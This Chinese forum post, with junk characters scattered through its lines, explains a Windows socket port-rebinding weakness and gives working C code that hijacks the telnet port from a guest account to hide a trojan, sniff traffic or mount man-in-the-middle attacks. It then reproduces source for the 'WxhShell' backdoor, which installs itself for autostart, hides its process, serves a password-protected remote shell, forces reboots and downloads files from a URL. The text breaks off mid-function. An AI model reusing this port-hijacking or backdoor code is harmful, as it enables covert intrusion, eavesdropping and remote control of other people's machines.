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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: | sio:QP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n~NOqvT <  
U#!f^@&AB  
  saddr.sin_family = AF_INET; !G3d5d2)C  
A5> ,e|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |cE 69UFB  
$>fMu   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z6`[ dAo  
/!Ng"^.e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %7~~*_G  
H#;-(`F  
  这意味着什么?意味着可以进行如下的攻击: !* C9NX  
<);Nc1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 noa =wy  
AGxG*KuZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .-g++f(_i  
#{kwl|c   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yqw#= fy  
Zxwcj(d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B@W`AD1^{  
@ukIt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !h0#es\  
le-Q&*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 24 i00s|#  
IPhV|7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5h2@n0  
.:b|imgiv  
  #include -C|1O%.  
  #include >f$>Odqe  
  #include (E*eq-8  
  #include    4j'cXxo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $*`=sV!r  
  int main() 75LIQ!G|=  
  { /i#~#Bn|  
  WORD wVersionRequested; _8CE|<Cn  
  DWORD ret; m*MfGj(  
  WSADATA wsaData; / b_C9'S  
  BOOL val; .;0?r9  
  SOCKADDR_IN saddr; IE-c^'W=}m  
  SOCKADDR_IN scaddr; I(*4N^9++  
  int err; AVys`{*c  
  SOCKET s; $i+ 1a0%n  
  SOCKET sc; ni@N/Z?!pA  
  int caddsize; (*Jcx:rH  
  HANDLE mt; .(0'l@#fT  
  DWORD tid;   -&u2C}4s  
  wVersionRequested = MAKEWORD( 2, 2 ); &K_"5.7-56  
  err = WSAStartup( wVersionRequested, &wsaData ); !Rzw[~  
  if ( err != 0 ) { Tc DkKa  
  printf("error!WSAStartup failed!\n"); f@%H"8w!  
  return -1; L/,W  
  } C[ ehw  
  saddr.sin_family = AF_INET; I'h6!N"  
   :i&ZMH,O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jcWv&u|  
w{t2Oo6Q0+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MW^,l=kqW)  
  saddr.sin_port = htons(23); ZV`D} CQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %C!u/:.Kv  
  { EhkvC>y  
  printf("error!socket failed!\n"); h$Z_r($b  
  return -1; ix<sorR H  
  } k#I4^  
  val = TRUE; n\#RI9#\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \/J7U|@Lt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yE(>R(^  
  { a+TlZE>8  
  printf("error!setsockopt failed!\n"); pFLR!/J  
  return -1; ztNm,1pnQ  
  } `43`*=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8Q&hhmOnz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wr/Z)e =^3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ][|)qQ%V  
meHAa`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]E1aIt  
  { Qo !/]\  
  ret=GetLastError(); ckXJ9>  
  printf("error!bind failed!\n"); d3fF|Wp1  
  return -1; MVW2 %6  
  } 7T]}<aK<c[  
  listen(s,2); dsKEWZ =  
  while(1) 3McBTa!  
  { \>8"r,hG|  
  caddsize = sizeof(scaddr); +1Ha,O k  
  //接受连接请求 li4rK <O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ng?n}$g*  
  if(sc!=INVALID_SOCKET) mX)UoiXue  
  { )SMS<J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &wbe^Wp  
  if(mt==NULL) 7-"ml\z  
  { fA!uSqR$V  
  printf("Thread Creat Failed!\n"); jlV~-}QKb7  
  break; h2 2-v X  
  } T-)Ur/qp  
  } @;iW)a_M  
  CloseHandle(mt); 6% @@~"  
  } }+K SZ,  
  closesocket(s); N@$g"w  
  WSACleanup();  o *2TH2  
  return 0; sjpcz4|K  
  }   bE-{ U/;  
  DWORD WINAPI ClientThread(LPVOID lpParam) `p@YV(  
  { ~yH<,e  
  SOCKET ss = (SOCKET)lpParam; *~F\k):>  
  SOCKET sc; tN&x6O+@  
  unsigned char buf[4096]; 8Yr_$5R  
  SOCKADDR_IN saddr; %(GWR@mfC  
  long num; ?\dY!  
  DWORD val; ?lJm}0>  
  DWORD ret; KLW#+vZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 seh1(q?Va4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w /$4 Rv+S  
  saddr.sin_family = AF_INET; Y_3 {\g|x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uFDJRQJ<  
  saddr.sin_port = htons(23); %oas IiO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #?)g?u%g=  
  { SomA`y+ERn  
  printf("error!socket failed!\n"); Y/1KvF4)k  
  return -1; sW[8f Z71  
  } `A8nAgbe  
  val = 100; -4|\,=j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e_Na_l]  
  { EQDs bG0x  
  ret = GetLastError(); 1ID0'j$  
  return -1; 7mipj]  
  } ]sBSLEie '  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v\>!J?  
  { tG(#&54  
  ret = GetLastError(); h:iK;  
  return -1; hnM?wn  
  } XK[cbVu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lwEJ)Bv  
  { 99%oY  
  printf("error!socket connect failed!\n"); A;nrr1-0  
  closesocket(sc); nUi 4!|r  
  closesocket(ss); 5[.Dlpa'7  
  return -1; h }&WBN  
  } \F;V69'  
  while(1) ,bhOIuep3  
  { XUT,)dL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E 5D5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aqq7u5O1r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w=.w*?>  
  num = recv(ss,buf,4096,0); ZUJ !  
  if(num>0) t]|WRQvy8  
  send(sc,buf,num,0); 1Zc1CUMG  
  else if(num==0) t#tAvwFM8  
  break; J<h^V+x  
  num = recv(sc,buf,4096,0); o2e aSG  
  if(num>0) rQ -pD  
  send(ss,buf,num,0); *oAv:8"iY  
  else if(num==0) P;o6rQf  
  break; ^&oa\7<'  
  } 5gnNgt~  
  closesocket(ss); 8)IpQG  
  closesocket(sc); Z?k4Kb  
  return 0 ; uK6`3lCD  
  } xc[Lb aBG  
lub(chCE[  
} %_h|N  
========================================================== RIBj9kd  
*I)o Dq3  
下边附上一个代码,,WXhSHELL (uV ~1  
GxWA=Xp^~G  
========================================================== W]kh?+SZ  
[03$*BCq3  
#include "stdafx.h" ".jY3<bQg  
R7: >'*F  
#include <stdio.h> h|h-<G?>  
#include <string.h> 2P9gS[Ub  
#include <windows.h> &WN#HI."]  
#include <winsock2.h> lhsd 39NM  
#include <winsvc.h> c,a+u  
#include <urlmon.h> 0j*-ZvE)30  
G}1?lO_d`  
#pragma comment (lib, "Ws2_32.lib") hA1\+r  
#pragma comment (lib, "urlmon.lib") {2<A\nW  
aBk~/  
#define MAX_USER   100 // 最大客户端连接数 9 p6QNDp  
#define BUF_SOCK   200 // sock buffer r|t ;#  
#define KEY_BUFF   255 // 输入 buffer P@P(&{@  
et|QW;*L  
#define REBOOT     0   // 重启 Fy!u xT-\  
#define SHUTDOWN   1   // 关机 #g,JNJ}  
`6:;*#jO,  
#define DEF_PORT   5000 // 监听端口 40cgsRa|  
t]?u<KD<  
#define REG_LEN     16   // 注册表键长度 +JoE[;  
#define SVC_LEN     80   // NT服务名长度 ]m} <0-0  
jj^{^,z\  
// 从dll定义API >vE1,JD)w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dIiQ^M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); smEKQHB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rW$ )f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E- ,/@4k  
EU?)AxH^  
// wxhshell配置信息 P?%kV  
struct WSCFG { bp G`,[  
  int ws_port;         // 监听端口 b#%s!  
  char ws_passstr[REG_LEN]; // 口令 @i`*i@g  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~IvAnwQ'  
  char ws_regname[REG_LEN]; // 注册表键名 $Lpt2:.((  
  char ws_svcname[REG_LEN]; // 服务名 kfaRN ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KLpu7D5(|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =fmM=@!$<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =C{)i@ +  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _^cDB1I ?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 49b#$Xq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &|('z\k  
6u>${}  
}; bQG2tDvu[  
D 3m4:z  
// default Wxhshell configuration .{+<o  
struct WSCFG wscfg={DEF_PORT, [gm[mwZ  
    "xuhuanlingzhe", KKm &~^c  
    1, wYnsd7@I  
    "Wxhshell", J@RhbsZn  
    "Wxhshell", /mLOh2 T  
            "WxhShell Service", P/;sZo  
    "Wrsky Windows CmdShell Service", :wiQ^ea  
    "Please Input Your Password: ", zbsdK  
  1,  y/t{*a  
  "http://www.wrsky.com/wxhshell.exe", PLDg'4DMg  
  "Wxhshell.exe" nO^aZmSu  
    }; FoY_5/  
{qO[93yg)/  
// 消息定义模块 f\CJ |tKX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L\d"|87lX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S]3K5Z|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R2k R   
char *msg_ws_ext="\n\rExit."; #({0HFSC:j  
char *msg_ws_end="\n\rQuit."; ZuIr=`"j  
char *msg_ws_boot="\n\rReboot..."; Vae}:8'}  
char *msg_ws_poff="\n\rShutdown..."; Pg[XIfBva  
char *msg_ws_down="\n\rSave to "; ZdbZ^DUR<(  
3|4jS"t{f  
char *msg_ws_err="\n\rErr!"; ta`}}I  
char *msg_ws_ok="\n\rOK!"; *Dx&}"  
b#;%TbDF  
char ExeFile[MAX_PATH]; f0rM 4"1  
int nUser = 0; ^_FB .y%  
HANDLE handles[MAX_USER]; ^|yw)N]Q/  
int OsIsNt; s=0z%~H  
TVVL1wZ  
SERVICE_STATUS       serviceStatus; 9\9:)q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w"Gci~]bXU  
">='l9  
// 函数声明 MY>mP  
int Install(void); G gmv(!  
int Uninstall(void); HGqT"N Jr  
int DownloadFile(char *sURL, SOCKET wsh); YTH3t] &  
int Boot(int flag); \9Nd"E[B  
void HideProc(void); $'D|}=h<Y  
int GetOsVer(void); ut8v&i1?  
int Wxhshell(SOCKET wsl); !{'C.sb?~  
void TalkWithClient(void *cs); c#'t][Ii  
int CmdShell(SOCKET sock); Fj? Q4_  
int StartFromService(void); -xg$qvK  
int StartWxhshell(LPSTR lpCmdLine); 9 cU]@j}2  
KQ0Zy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !#l>+9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AD_RU_a9  
+"1@ 6,M  
// 数据结构和表定义 *x[ZN\$`Y  
SERVICE_TABLE_ENTRY DispatchTable[] = Jq0aDf f  
{ H4C]%Q  
{wscfg.ws_svcname, NTServiceMain},  + ]I7]  
{NULL, NULL} S<Z]gY @c  
}; N y_d  
F_>OpT  
// 自我安装 J3Ipk-'lx  
int Install(void) OwhMtYq  
{ r8.R?5F@  
  char svExeFile[MAX_PATH]; U .?N  
  HKEY key; MrXmX[1-  
  strcpy(svExeFile,ExeFile); T,z 7U2O  
cXM4+pa=%  
// 如果是win9x系统,修改注册表设为自启动 .Jk[thyU  
if(!OsIsNt) { nf#;]FijB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _a?c,<A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \09m ?;^  
  RegCloseKey(key); RsnK B /  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8T ?=_|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `[) awP  
  RegCloseKey(key); a2J01B  
  return 0; 3>60_:+Zb  
    } D#VUx9kugv  
  } NP }b   
} $tKz|H)  
else { (jj=CLe  
^{f ^%)X  
// 如果是NT以上系统,安装为系统服务 3d<Z##`{4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *F:f\9   
if (schSCManager!=0) SUv(MA&  
{ XMt)\r.  
  SC_HANDLE schService = CreateService p6)Jzh_/  
  ( ?K5S{qG'O  
  schSCManager, v6uXik  
  wscfg.ws_svcname, sa8Q1i&%  
  wscfg.ws_svcdisp, .%~m|t+Rt  
  SERVICE_ALL_ACCESS, 9j'(T:Zs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D(bQFRBY6"  
  SERVICE_AUTO_START, b+b].,  
  SERVICE_ERROR_NORMAL, #8xP,2&zf  
  svExeFile, pBo=omQV  
  NULL, Y.>F fL  
  NULL, F3)w('h9c  
  NULL, gJ \CT'/  
  NULL, ngmHiI W  
  NULL ,3+#?H  
  ); HLYog+?  
  if (schService!=0)  .7GTL  
  { ](%EQ[  
  CloseServiceHandle(schService); o03Y w)*  
  CloseServiceHandle(schSCManager); P*=M?:Jb,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fXo$1!  
  strcat(svExeFile,wscfg.ws_svcname); r.WQ6h/eZ5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fa ]|Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `i~kW  
  RegCloseKey(key); o8uak*"{  
  return 0; w|t}.u  
    } MS7rD%(,'  
  } %%uvia=e  
  CloseServiceHandle(schSCManager); Veeuw  
} ,> %=,x  
}  m$XMq  
wk+| }s  
return 1; Hl"^E*9x  
} )4O>V?B  
$U*b;'o  
// 自我卸载 (U`<r-n\n  
int Uninstall(void) 9(-f)$u  
{ ~<Eu @8+_  
  HKEY key; t=(d, kf  
CdZS"I  
if(!OsIsNt) { eDkJ+5b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :{ 8,O-  
  RegDeleteValue(key,wscfg.ws_regname); 8uh^%La8b.  
  RegCloseKey(key); ,8Eg/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fYgEiap  
  RegDeleteValue(key,wscfg.ws_regname); lE=&hba  
  RegCloseKey(key); dbe\ YE  
  return 0; f;{K+\T  
  } Z;'5A2  
} {TOz}=R"3h  
} @~ 6,8nQ  
else { ro}WBv  
T<ka4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K=K]R01/o  
if (schSCManager!=0) 4tA`,}ywPq  
{ P 7`RAz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O3/w@q Q  
  if (schService!=0) &s0_^5B0  
  { H`T8ydNXa  
  if(DeleteService(schService)!=0) { qh~$AJ9sB  
  CloseServiceHandle(schService); +o3 ZQ9  
  CloseServiceHandle(schSCManager); xoe/I[P]U  
  return 0; ;owU]Xk%8K  
  } TdKo"H*C  
  CloseServiceHandle(schService); qsG}A  
  } yd=NafPM  
  CloseServiceHandle(schSCManager); ]39])ul  
} PP{s&(  
} n_9Wrx328  
5>\Lk>rI  
return 1; !Bu=?gf  
} O-uf^ S4  
JTcE{i  
// 从指定url下载文件 boeIO\2}P0  
int DownloadFile(char *sURL, SOCKET wsh) Xh?J"kjof  
{ N"[r_!  
  HRESULT hr; oK@_  
char seps[]= "/"; v;.w*x8Jw  
char *token;  ?QRoSQ6  
char *file; XjFaP {  
char myURL[MAX_PATH]; @v~<E?Un  
char myFILE[MAX_PATH]; w,zm$s^  
pY$DOr- r`  
strcpy(myURL,sURL); 2J&J  
  token=strtok(myURL,seps); 9i`MUE1Sh  
  while(token!=NULL) !*!i&0QC~R  
  { 6^QSV@N|  
    file=token; /P[@o  
  token=strtok(NULL,seps); @W.0YU0|J  
  } 2{A/Fbk  
l\6.f_  
GetCurrentDirectory(MAX_PATH,myFILE); dTVh{~/  
strcat(myFILE, "\\"); (.~,I+Cz'  
strcat(myFILE, file); tSX,*cz  
  send(wsh,myFILE,strlen(myFILE),0); Z}`A'#!  
send(wsh,"...",3,0); M?v`C>j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wDt9Lf O  
  if(hr==S_OK) 82P#C4c+d  
return 0; $_+.D`vx`  
else )Im3';qt  
return 1; _edT+r>+  
Q`HG_n@?  
} 4c,{Js  
91oAg[@4G  
// 系统电源模块 ,R*YI  
int Boot(int flag) &`B Tw1u  
{ mQ=nU  
  HANDLE hToken; S]<%^W'  
  TOKEN_PRIVILEGES tkp; OV`#/QL  
UNCI"Mjb  
  if(OsIsNt) { XQStlUw8+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t@cImmh\T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /g\m7m)u  
    tkp.PrivilegeCount = 1; -&0HAtc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; js[H $  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tD+K4 ^  
if(flag==REBOOT) { =SK{|fBB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *kq>Z 06'i  
  return 0; &\5%C\0Z<  
} A)HV#T`N  
else { ;@/vKA3l.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iu+rg(*%  
  return 0; D8=a+!l-  
} PS/00F/Ak  
  } FQBAt0  
  else { ~+&Z4CYb  
if(flag==REBOOT) { 9;L50q>s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~PA6e+gmL  
  return 0; *3h!&.zm  
} .]LP327u  
else { 9V?:!%J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MB"<^ZX  
  return 0; /rzZU}3[  
} @YI- @  
} BE,H`G #h  
Nrfj[I  
return 1; _<7e5VR  
} ;#n+$Q#:  
KBa   
// win9x进程隐藏模块 +7$zL;ph=n  
void HideProc(void) e) kVS}e?  
{ vFH1hm  
P3+?gW'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (T8dh|  
  if ( hKernel != NULL ) dL|*#e  
  { f1RX`rXf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T UO*w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]oE:p  
    FreeLibrary(hKernel); B+n(K+  
  } :=2l1Y[-G  
r1AG1Y  
return; X.)D"+xnH  
} tRmH6  
&BkdC,o  
// 获取操作系统版本 gB}UzEj^<  
int GetOsVer(void) $LJCup,1"  
{ b:YyzOqEu  
  OSVERSIONINFO winfo; #RVN 7-x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vF .Ml  
  GetVersionEx(&winfo); A9C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #]e](j>]  
  return 1; O_[]+5.TX  
  else $ v~I n  
  return 0; #( o(p  
} r  |JZU  
RtScv  
// 客户端句柄模块 BV512+M  
int Wxhshell(SOCKET wsl) b(?A^ a  
{ gs9VCaIa  
  SOCKET wsh; @1tv/W  
  struct sockaddr_in client; }8?1)l  
  DWORD myID; JTfG^Nv>K  
dx[kG  
  while(nUser<MAX_USER)  FA#8  
{ Cl'3I%$8K  
  int nSize=sizeof(client); cP &XkAQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); { , zg  
  if(wsh==INVALID_SOCKET) return 1; ;&U! g&  
1`l10fqU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WoX,F1o  
if(handles[nUser]==0) ~JSa]6:_+  
  closesocket(wsh); 1xt N3{c  
else ZY{zFg9  
  nUser++; r^$WX@ t&  
  } $ZfoJR]%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RMO6kbfP  
c(!8L\69V}  
  return 0; EP}NT)z,{  
} F<|x_6a\  
Q(7M_2e7  
// 关闭 socket )ZQML0}P;  
void CloseIt(SOCKET wsh) zx=AT  
{ M`gr*p  
closesocket(wsh); ]q|^?C  
nUser--; Fc.1)yh.  
ExitThread(0); :}}~ $$&  
} ~@N0$S  
sN9 SuQ  
// 客户端请求句柄 .qG*$W2f  
void TalkWithClient(void *cs) )1 =|\  
{ # vBS7ba  
.m \y6  
  SOCKET wsh=(SOCKET)cs; 3FpSo+  
  char pwd[SVC_LEN]; q+}Er*r  
  char cmd[KEY_BUFF]; BHEZ<K[U   
char chr[1]; o7WK"E!pF'  
int i,j; b.sRB1  
eK'ztqQ  
  while (nUser < MAX_USER) { m-)yQM8  
i0e aBG]I  
if(wscfg.ws_passstr) { 0F|DD8tHR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q2 @Ugt$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &a];"2  
  //ZeroMemory(pwd,KEY_BUFF); u@eKh3!  
      i=0; {5N!udLDr5  
  while(i<SVC_LEN) { :c^9\8S  
#E#.`/4  
  // 设置超时 GPVqt"TY  
  fd_set FdRead; PTFe>~vr*  
  struct timeval TimeOut; _Vf0MU;3f+  
  FD_ZERO(&FdRead); bRb+3au_x  
  FD_SET(wsh,&FdRead); ~f:jI1(}  
  TimeOut.tv_sec=8; |m /XGr  
  TimeOut.tv_usec=0; =x3ZQA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E#A}J:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #(Ah>y  
 wk (}q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E2a00i/9Y  
  pwd=chr[0]; 1X$hwkof  
  if(chr[0]==0xd || chr[0]==0xa) { _;yi/)-2  
  pwd=0; cp\A xWtUZ  
  break; 2h^9lrQcQG  
  } H&3i[D!p  
  i++; E]26a,^L  
    } b+qdl`V d  
A-XWG9nL  
  // 如果是非法用户,关闭 socket \ 4r?=5v*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X`E3lgfqT  
} h.D*Y3=<  
N&'05uWY}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u"*Wo'3I|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XexslzI  
PK7 kpC  
while(1) { A/+bwCDP  
_]~= Kjp  
  ZeroMemory(cmd,KEY_BUFF); jQLiqi`  
J SOgq/\  
      // 自动支持客户端 telnet标准   />E:}1}{  
  j=0; Wu9))Ir  
  while(j<KEY_BUFF) { 3Az7urIY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rh.CnCbM  
  cmd[j]=chr[0]; t)hAD_sf  
  if(chr[0]==0xa || chr[0]==0xd) { 95%, 8t  
  cmd[j]=0; si|DxDx  
  break; d:V6.7>,  
  } 2|C(|fD4  
  j++; "/MA.zEl0,  
    } v1Wz#oP  
1 6N+  
  // 下载文件 /5Zt4&r  
  if(strstr(cmd,"http://")) { MU/3**zoW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _RcFV  
  if(DownloadFile(cmd,wsh)) CYCG5)<9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L[s8`0  
  else '&#YaD=""  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [esR!})  
  } }co*%F{1  
  else { RN0=jo!58  
^Td_B03)  
    switch(cmd[0]) { OKH4n/pq  
  MPg"n-g*  
  // 帮助 ao(lj  
  case '?': { >TqMb8e_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6YCFSvA#/  
    break; &bO5+[  
  } Cm5:_K`;]  
  // 安装 R^*h|7)E  
  case 'i': { Z1t?+v+Ro*  
    if(Install()) dY'mY~Tv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t@(`24  
    else `0qBuE_^h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P b(XR+  
    break; UD@u hL  
    } c+^#(OB  
  // 卸载 _CDl9pP36#  
  case 'r': { @Pt,N qj:  
    if(Uninstall()) =oPc\VYW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IV5B5Q'D  
    else jbU=D:|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >P/Nb]C  
    break; 1 ynjDin<  
    } T1&^IO-F7$  
  // 显示 wxhshell 所在路径 ie f~*:5  
  case 'p': { Fu%%:3_  
    char svExeFile[MAX_PATH]; j.FW*iX1C  
    strcpy(svExeFile,"\n\r"); ?t JyQT  
      strcat(svExeFile,ExeFile); 2W_p)8t> b  
        send(wsh,svExeFile,strlen(svExeFile),0); DG!H8^  
    break; [z^db0PU  
    } \~:Uj~  
  // 重启 AUk,sCxd  
  case 'b': { 3i c6!T#t"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EGKj1_ml  
    if(Boot(REBOOT)) aj71oki)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GWU"zWli]z  
    else { ^^-uq)A  
    closesocket(wsh); W_ =  
    ExitThread(0); SX4"HadV>  
    } CfWtCA  
    break; %bp8VR sY  
    } 7K|: 7e(  
  // 关机 F{g^4  
  case 'd': { tL;!!vg#V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LXm5f;  
    if(Boot(SHUTDOWN)) d\R]>  
